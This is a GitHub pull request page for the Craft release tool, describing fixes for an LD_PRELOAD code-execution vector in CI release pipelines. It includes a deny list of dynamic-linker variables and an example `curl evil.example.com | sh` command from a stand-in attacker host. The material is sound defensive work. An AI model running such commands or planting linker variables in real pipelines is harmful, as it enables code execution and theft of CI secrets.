Skip to content

fix(security): disable .craft.env reading and harden release subprocess env#794

Merged
BYK merged 2 commits intomasterfrom
security/disable-craft-env-and-harden-release-env
Apr 21, 2026
Merged

fix(security): disable .craft.env reading and harden release subprocess env#794
BYK merged 2 commits intomasterfrom
security/disable-craft-env-and-harden-release-env

Conversation

@BYK
Copy link
Copy Markdown
Member

@BYK BYK commented Apr 21, 2026

Summary

Addresses the LD_PRELOAD RCE vector demonstrated in getsentry/action-release#315. A contributor PR to any Craft-using repo could plant a .craft.env file containing LD_PRELOAD=./preload.so plus a malicious shared library; when Craft ran in CI it would hydrate process.env.LD_PRELOAD and every subprocess Craft spawned (git, npm, gpg, docker, etc.) would load the attacker's code with access to all release secrets.

This PR removes the primary vector and hardens three adjacent surfaces so a future regression (or an earlier CI step planting dangerous env vars) cannot be similarly weaponised.

Changes

1. Remove .craft.env file reading (primary fix)

  • src/utils/env.ts: delete readEnvironmentConfig, ENV_FILE_NAME, checkFileIsPrivate. Add warnIfCraftEnvFileExists() which only calls existsSync and emits a one-time warning per legacy file location, pointing users at the shell / CI environment. process.env is never hydrated from a file again.
  • src/index.ts: swap the call site.
  • package.json / src/types/nvar.ts: drop the nvar dependency and its type shim.
  • docs/.../getting-started.md: replace the "Environment Files" section with a short note that credentials must come from the shell / CI.

2. Strip dynamic-linker env vars at startup (defence-in-depth)

  • src/utils/env.ts: new sanitizeDynamicLinkerEnv() deletes LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT, DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, DYLD_FRAMEWORK_PATH, DYLD_FALLBACK_LIBRARY_PATH, DYLD_FALLBACK_FRAMEWORK_PATH from process.env with a per-key warning. Values are never logged.
  • Emergency escape hatch: CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1 preserves the vars but emits a noisy info-level log naming which keys were preserved.
  • Called from src/index.ts as the very first thing main() does.

3. Allowlist env forwarded to preReleaseCommand (breaking change)

Previously runCustomPreReleaseCommand in src/commands/prepare.ts forwarded { ...process.env, ...additionalEnv } to the subprocess — anything in the parent env (including LD_PRELOAD, cloud credentials, etc.) leaked through.

  • New src/utils/releaseCommandEnv.ts exports ALLOWED_ENV_VARS and buildReleaseCommandEnv(extras) which returns { PATH, GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL, ...extras }.
  • prepare.ts and publish.ts both use the shared helper. runPostReleaseCommand behaviour is unchanged — it already used an inline allowlist — but the inline code is replaced with the shared helper.
  • Breaking: pre-release scripts no longer inherit arbitrary env vars. If a script needs additional variables, rename them with a CRAFT_ prefix (yargs auto-promotes CRAFT_* to CLI options) or have the script source them from a secrets file.

4. Gate --config-from behind --allow-remote-config (breaking change)

--config-from <branch> fetches .craft.yml from a remote git ref via git show and feeds it to loadConfigurationFromString, which configures the preReleaseCommand that Craft later executes. That's effectively arbitrary-command execution from a network-fetched payload.

  • src/commands/prepare.ts: new --allow-remote-config flag (also honoured as CRAFT_ALLOW_REMOTE_CONFIG=1).
  • Exported assertRemoteConfigAllowed() helper throws ConfigurationError naming the branch and the opt-in flag when --config-from is used without the opt-in. When opted in, Craft logs a warning identifying the branch.

Testing

  • New tests (src/utils/__tests__/env.test.ts): 5 tests for sanitizeDynamicLinkerEnv covering all keys, opt-out behaviour, value-not-in-log property; 5 tests for warnIfCraftEnvFileExists.
  • New tests (src/commands/__tests__/prepare.test.ts): planted LD_PRELOAD / AWS_SECRET_ACCESS_KEY / SECRET_TOKEN in process.env and assert none reach the spawn env; 3 tests for assertRemoteConfigAllowed.
  • New test (src/commands/__tests__/publish.test.ts): same attacker-planted-env regression for runPostReleaseCommand (locks in the existing allowlist behaviour).
  • Full suite: 947 passed (same 7 pre-existing environmental failures in prepare-dry-run.e2e.test.ts as on master; unrelated).
  • pnpm build passes; pnpm lint src/ reports 0 errors (only pre-existing warnings).

Verification steps

  1. pnpm install && pnpm test && pnpm build — all pass.
  2. rg -n "nvar|ENV_FILE_NAME|readEnvironmentConfig" src/ docs/src/ — no hits.
  3. Plant .craft.env next to .craft.yml in a scratch dir; Craft warns and does not load it.
  4. Export LD_PRELOAD=x in your shell and run ./dist/craft --help — Craft strips it and warns.
  5. ./dist/craft prepare --config-from some-branch 1.0.0 — rejected with a ConfigurationError naming --allow-remote-config.

Breaking changes

See the commit body. Summarised:

  • .craft.env is no longer read; use shell / CI env instead.
  • preReleaseCommand receives only allowlisted env vars.
  • LD_PRELOAD / DYLD_* are stripped at startup (override: CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1).
  • --config-from requires --allow-remote-config (override: CRAFT_ALLOW_REMOTE_CONFIG=1).

Addresses the LD_PRELOAD RCE vector demonstrated in
getsentry/action-release#315, where a PR to a Craft-using repo could
plant a .craft.env file with LD_PRELOAD=./preload.so plus a malicious
shared library and gain arbitrary code execution in the release pipeline
with access to all CI secrets.

Primary fix:
- Remove .craft.env file reading entirely. process.env is no longer
  hydrated from $HOME/.craft.env or <config-dir>/.craft.env. Warn at
  startup if a legacy file is detected, pointing users at the shell / CI
  environment. The nvar dependency and src/types/nvar.ts shim are
  dropped.

Defence-in-depth changes, in case a future regression (or an earlier CI
step) plants dangerous env vars:
- Strip dynamic-linker env vars (LD_PRELOAD, LD_LIBRARY_PATH, LD_AUDIT,
  DYLD_INSERT_LIBRARIES, DYLD_LIBRARY_PATH, DYLD_FRAMEWORK_PATH,
  DYLD_FALLBACK_LIBRARY_PATH, DYLD_FALLBACK_FRAMEWORK_PATH) from
  process.env at startup. Emergency opt-out via
  CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1.
- preReleaseCommand subprocesses now receive an allowlisted env (PATH,
  GITHUB_TOKEN, HOME, USER, GIT_COMMITTER_NAME, GIT_AUTHOR_NAME, EMAIL,
  plus CRAFT_NEW_VERSION/CRAFT_OLD_VERSION) instead of the full
  process.env. Matches the existing postReleaseCommand behaviour; the
  allowlist is now shared via src/utils/releaseCommandEnv.ts.
- --config-from <branch> now requires --allow-remote-config (or
  CRAFT_ALLOW_REMOTE_CONFIG=1) to opt in. Remote .craft.yml is
  untrusted input and can execute arbitrary commands via
  preReleaseCommand.
@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented Apr 21, 2026

PR Preview Action v1.8.1
Preview removed because the pull request was closed.
2026-04-21 15:55 UTC

Copy link
Copy Markdown
Contributor

@cursor cursor Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Cursor Bugbot has reviewed your changes and found 1 potential issue.

Fix All in Cursor

❌ Bugbot Autofix is OFF. To automatically fix reported issues with cloud agents, enable autofix in the Cursor dashboard.

Reviewed by Cursor Bugbot for commit f028c3c. Configure here.

Comment thread src/utils/releaseCommandEnv.ts
- Run prettier over AGENTS.md to fix format-check CI.
- Drop export on ALLOWED_ENV_VARS (Cursor Bugbot): it's only used
  internally by buildReleaseCommandEnv in the same file.
@BYK BYK enabled auto-merge (squash) April 21, 2026 15:47
@BYK BYK merged commit dddf6e9 into master Apr 21, 2026
17 checks passed
@BYK BYK deleted the security/disable-craft-env-and-harden-release-env branch April 21, 2026 15:54
@BYK BYK changed the title security: disable .craft.env reading and harden release subprocess env fix(security): disable .craft.env reading and harden release subprocess env Apr 21, 2026
BYK added a commit that referenced this pull request Apr 21, 2026
)

## Summary

Extends the dynamic-linker env-var sanitisation landed in #794 so it
also applies to every subprocess Craft spawns — not just to Craft's own
`process.env` at startup. Defence-in-depth against two residual attack
surfaces:

1. **Post-startup mutation of `process.env`** — hostile or accidental
code that sets `LD_PRELOAD` back into `process.env` after Craft's
startup sanitiser has run. The subprocess would still inherit it.
2. **Caller-constructed `options.env`** — any future refactor that does
`{ ...process.env, ...custom }` (or takes env from an external source)
could smuggle a dynamic-linker key into a child without going through
`process.env`.

Neither is exploitable today — #794 closed the primary `.craft.env`
vector and Craft doesn't currently mutate `process.env` or take env from
external files — but the pattern is cheap to make robust before it
becomes a regression footgun.

## Change

`src/utils/system.ts:spawnProcess` now routes `options.env ??
process.env` through a new `sanitizeSpawnEnv()` helper before handing it
to `child_process.spawn`. The helper:

- Strips `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_AUDIT`, and the `DYLD_*`
family (same set as the startup sanitiser).
- Honours the same `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` opt-out as
`sanitizeDynamicLinkerEnv`.
- Never logs values (only key names).
- Returns a fresh shallow copy — input is never mutated, so callers can
reuse their env object.

## Where the code lives

A new leaf module `src/utils/dynamicLinkerEnv.ts` holds the constants
and both sanitisers. `src/utils/env.ts` re-exports the same names so
existing imports (notably `src/index.ts`) keep working.

Why the move: `src/utils/system.ts` needs the sanitiser, but
`src/utils/env.ts` transitively imports `src/config.ts` → artifact
providers → which import back into `src/utils/system.ts`. A direct
`system.ts → env.ts` edge creates a cycle that breaks test loading
(observed it locally — `Class extends value undefined` when
`BaseArtifactProvider` wasn't ready yet). Leaf module with only `logger`
as a dep sidesteps this cleanly.

## Tests

- **7 new unit tests** in `src/utils/__tests__/env.test.ts` on
`sanitizeSpawnEnv` (undefined input passthrough, shallow copy behaviour,
input-not-mutated invariant, stripping all `DYLD_*` variants, opt-out
behaviour, value-not-in-log property, strict opt-out equality check).
- **3 new integration tests** in `src/utils/__tests__/system.test.ts`
that actually spawn `node` as a subprocess and read back
`process.env.LD_PRELOAD` from inside the child:
  - explicit `LD_PRELOAD` in `options.env` → child sees `undefined`;
- `LD_PRELOAD` set on `process.env` post-startup → child sees
`undefined`;
- same with `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` → child sees the value
(opt-out works).

Full suite: 969 passed (same 7 pre-existing e2e failures unrelated to
this work). `pnpm build` + `pnpm lint src/` clean.

## Notes for reviewers

- The opt-out key is still `CRAFT_ALLOW_DYNAMIC_LINKER_ENV=1` and must
be set in `process.env`, not `options.env`. If a caller passes
`LD_PRELOAD` in `options.env` and the opt-out is not set on
`process.env`, it gets stripped — even if the caller "intended" it. This
is consistent with the startup sanitiser.
- `buildReleaseCommandEnv()` (PR #794) already produces an env that
cannot contain dynamic-linker keys because its allowlist doesn't include
them. This PR is a backstop behind that.
BYK added a commit that referenced this pull request Apr 22, 2026
## Summary

Fixes the regression reported in [getsentry/sentry-cocoa run
#24797916943](https://github.com/getsentry/sentry-cocoa/actions/runs/24797916943/job/72575447439):
`./scripts/update-package-sha.sh: line 4: GITHUB_RUN_ID: unbound
variable`.

PR #794 ([shipped in Craft
2.25.5](https://github.com/getsentry/craft/releases/tag/2.25.5)) locked
pre/postReleaseCommand down to an explicit allowlist (`PATH`,
`GITHUB_TOKEN`, `HOME`, `USER`, `GIT_COMMITTER_NAME`, `GIT_AUTHOR_NAME`,
`EMAIL`, plus per-command `CRAFT_*` extras). That shape was deliberately
minimal but overshot: GitHub Actions injects ~40 `GITHUB_*` context vars
into every step (`GITHUB_REPOSITORY`, `GITHUB_SHA`, `GITHUB_RUN_ID`,
`GITHUB_ACTOR`, `GITHUB_WORKFLOW`, `GITHUB_API_URL`,
`GITHUB_SERVER_URL`, …) and release scripts commonly read them.
sentry-cocoa's bump script stamps `$GITHUB_RUN_ID` into a file for a
follow-up step to consume, so cutting off the whole namespace made it
fail hard.

## Fix

Extend `buildReleaseCommandEnv` to also forward any `process.env` key
that starts with `GITHUB_` or `RUNNER_`. `RUNNER_*` (RUNNER_OS /
RUNNER_ARCH / RUNNER_TEMP / …) is the same class of non-secret runner
metadata.

## Why this is safe — and the trade-off

Credential env vars Craft uses that are named with **unrelated**
prefixes remain blocked:

- `NPM_TOKEN`, `CRATES_IO_TOKEN`, `HEX_API_KEY`, `POWERSHELL_API_KEY`,
`NUGET_API_TOKEN`, `PUBDEV_ACCESS_TOKEN`, `PUBDEV_REFRESH_TOKEN`
- `DOCKER_PASSWORD`, `DOCKER_GHCR_IO_PASSWORD`, `DOCKER_USERNAME`
- `AWS_SECRET_ACCESS_KEY`, `AWS_ACCESS_KEY_ID`
- `TWINE_PASSWORD`, `TWINE_USERNAME`
- `GEM_HOST_API_KEY`, `COCOAPODS_TRUNK_TOKEN`
- `GPG_PRIVATE_KEY`, `GPG_PASSPHRASE`, `OSSRH_USERNAME`,
`OSSRH_PASSWORD`
- `CRAFT_GCS_TARGET_CREDS_JSON`, `CRAFT_GCS_STORE_CREDS_JSON`

Two credential env vars **do** live in the `GITHUB_*` namespace and are
therefore now forwarded:

1. **`GITHUB_TOKEN`** — already on the allowlist pre-#807, no change in
exposure.
2. **`GITHUB_API_TOKEN`** — used by Craft as a ghcr.io / cross-repo
fallback when `GITHUB_TOKEN` is absent (see `src/targets/docker.ts:338`,
`src/targets/commitOnGitRepository.ts:148`,
`src/utils/githubApi.ts:78`). This is newly forwarded by #807. On
`getsentry/publish`-style workflows it is not set (only `GITHUB_TOKEN`
is), so no leak there. On consumer CI setups that explicitly export
`GITHUB_API_TOKEN`, a malicious `preReleaseCommand` would now see it.
This is the intentional trade-off: a malicious `preReleaseCommand` that
already has shell execution can exfiltrate whichever token is set, and
the alternative (splitting context from credentials via explicit lists
instead of prefix) forces every consumer to proxy routine Actions
metadata via `CRAFT_*` — which is the exact ergonomic regression this PR
fixes.

Similarly, `GITHUB_ENV` / `GITHUB_PATH` / `GITHUB_OUTPUT` /
`GITHUB_STEP_SUMMARY` point at runner files that subsequent workflow
steps read. Forwarding them lets a compromised release command influence
later steps. No new primitive: the attacker already has shell exec in
the same docker mount as those files.

I cross-checked `getsentry/publish/.github/workflows/publish.yml`: the
only `GITHUB_*`-named key its Docker step sets is `GITHUB_TOKEN`. Other
secrets all use the unrelated prefixes listed above.

## Tests

Both `prepare.test.ts` and `publish.test.ts` get a new regression test:

```ts
process.env.GITHUB_RUN_ID = '123456';
process.env.GITHUB_REPOSITORY = 'getsentry/sentry-cocoa';
process.env.RUNNER_OS = 'Linux';
process.env.NPM_TOKEN = 'npm_xxx_must_not_leak';
process.env.DOCKER_PASSWORD = 'dockerpw_must_not_leak';

await runPreReleaseCommand({ ... });

// GITHUB_* and RUNNER_* pass through.
expect(envArg.GITHUB_RUN_ID).toBe('123456');
expect(envArg.GITHUB_REPOSITORY).toBe('getsentry/sentry-cocoa');
expect(envArg.RUNNER_OS).toBe('Linux');

// Credential-named vars do not.
expect(envArg.NPM_TOKEN).toBeUndefined();
expect(envArg.DOCKER_PASSWORD).toBeUndefined();
```

Existing "does not forward arbitrary env vars from process.env" tests
still guard the negative side (`LD_PRELOAD`, `AWS_SECRET_ACCESS_KEY`,
random `SECRET_TOKEN` must not leak).

The `expectedBaseEnv()` helper in both test files is now dynamic so it
stays correct when the tests run under GHA (where `process.env` contains
a full `GITHUB_*` / `RUNNER_*` set).

996 tests pass; same 7 pre-existing env-only e2e failures as on master.
Lint / build clean.
BYK added a commit that referenced this pull request Apr 23, 2026
## Summary

Removes the `--allow-remote-config` / `CRAFT_ALLOW_REMOTE_CONFIG=1` gate
added in #794. The gate is broken in the canonical `getsentry/craft`
composite action (see below) and the marginal defence-in-depth it
provided does not justify the breakage.

**This reverts a security feature shipped in Craft 2.25.5**, so the
"why" below is deliberately explicit.

## The bug users are hitting

`action.yml:162-165` constructs:

```
CRAFT_ARGS=""
if [[ '${{ inputs.craft_config_from_merge_target }}' == 'true' && -n '${{ inputs.merge_target }}' ]]; then
  CRAFT_ARGS="--config-from ${{ inputs.merge_target }}"
fi
```

It passes `--config-from` but never passes `--allow-remote-config`.
Every consumer who set `craft_config_from_merge_target: true` after
Craft 2.25.5 has been hitting `ConfigurationError` with a message
telling them to pass a flag they cannot pass. The user complaint that
prompted this PR is one such case.

## Why total removal rather than a 1-line passthrough in action.yml

The most obvious alternative is to add `--allow-remote-config` to
`CRAFT_ARGS` in `action.yml` when `craft_config_from_merge_target:
true`. That was considered and rejected:

- If the flag is auto-passed whenever the input is set, the flag is
tautological: "opt in by setting `craft_config_from_merge_target: true`"
already **is** the opt-in ceremony. A second opt-in that the composite
action always supplies in lockstep is friction with no signal.
- The flag's only remaining value would be for direct CLI users (`craft
prepare --config-from …` without the action). Those invocations are rare
and the ceremony value is marginal; a `logger.warn` at the execution
site (kept in this PR) tells them what's happening without blocking.
- Keeping the flag alive as a "passthrough only" option creates an
ongoing maintenance cost: docs, tests, the yargs option itself,
composite-action plumbing. All for near-zero remaining defence-in-depth
value.

So the choice is: delete the flag, rely on the `logger.warn` reminder +
release-workflow-author discipline + the env allowlist (which limits but
does not eliminate what a malicious `preReleaseCommand` can exfiltrate).

## Honest threat-model discussion

The original gate (#794) rationale was: "remotely-fetched `.craft.yml`
is untrusted input that can execute arbitrary commands via
`preReleaseCommand`." That framing overstates what the gate actually
defends:

- **The branch passed to `--config-from` is, in every realistic caller I
have audited, chosen by the release workflow author on a protected
branch**. For `getsentry/craft` + `getsentry/publish` it's the
`merge_target` input sourced from `workflow_call` / `workflow_dispatch`
(not from PR-controllable state). PR contributors cannot influence it
without first landing changes on the protected branch. For third-party
consumers the trust boundary depends on their workflow shape — they are
responsible for not wiring PR-controllable input to `merge_target`.
- **The `.craft.yml` → `preReleaseCommand` → RCE vector exists
independently of `--config-from`**. Every `craft prepare` run reads
`.craft.yml` from `cwd`; if a PR modifies `cwd`'s `.craft.yml` and lands
on the release branch, the malicious command runs regardless of whether
`--config-from` is used.
- The `buildReleaseCommandEnv` allowlist (PR #794 / #807) **limits what
a malicious `preReleaseCommand` can exfiltrate** (by stripping most
secret env vars from the subprocess env); it does **not** prevent
arbitrary command execution itself. A `preReleaseCommand: "curl
evil.example.com | sh"` still runs, still has network, and still has
access to whatever is on the allowlist (including `GITHUB_TOKEN`). The
gate was never the thing standing between an attacker and RCE; it just
forced them to pick the local-file vector instead of the remote one.

Given both vectors carry identical risk and the remote one was gated but
not the local one, the gate added friction without closing the class of
risk it claimed to defend.

## Change

- Remove `--allow-remote-config` option from the yargs `builder` in
`src/commands/prepare.ts`.
- Remove `allowRemoteConfig` from `PrepareOptions`.
- Remove the exported `assertRemoteConfigAllowed` helper.
- Remove the callsite check in `prepareMain`. Kept a `logger.warn` at
the execution site reminding the operator that the remote
`preReleaseCommand` will be executed.
- Remove the 3 unit tests for the deleted helper and their now-unused
imports.
- Update the stale AGENTS.md lore entry (previously claimed the gate as
an active security posture) to describe the removal and warn future
maintainers not to resurrect it.

Backward-compat notes:
- Users currently setting `CRAFT_ALLOW_REMOTE_CONFIG=1` in their env:
the var is silently ignored after this PR (yargs's `.env('CRAFT')` only
binds env vars with matching options). No breakage.
- Users currently passing `--allow-remote-config` as a CLI flag: yargs's
`.strictCommands()` (not `.strict()`) ignores unknown options. No
breakage.

## Bundled: `ci: exclude CHANGELOG.md from prettier`

Separate commit in this PR. `CHANGELOG.md` is auto-generated from PR
descriptions by the release tooling; entries like `(release-env)
Allowlist GITHUB_* and RUNNER_* by prefix` contain markdown prettier
wants to re-escape (`_*` → `\*`) every time a release cuts. This has
been failing the format-check on every PR against master since the
2.26.0 release entry landed. Adding `CHANGELOG.md` to `.prettierignore`
lets the release tooling be the sole authority on its contents.

Technically orthogonal to the gate removal but bundled here because (a)
without it, this PR's CI fails on a pre-existing master problem, (b) the
fix is 6 lines of `.prettierignore`, (c) splitting would add
calendar-time blocking for both PRs. Mentioned explicitly so reviewers
aren't surprised by the scope.

## Tests

`pnpm test src/commands/__tests__/prepare.test.ts` → 8 tests pass (was
11; the 3 `assertRemoteConfigAllowed` tests are deleted along with the
helper).

Full suite: 993 pass; same 7 pre-existing e2e failures unrelated to this
change.

Lint / build / prettier clean.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants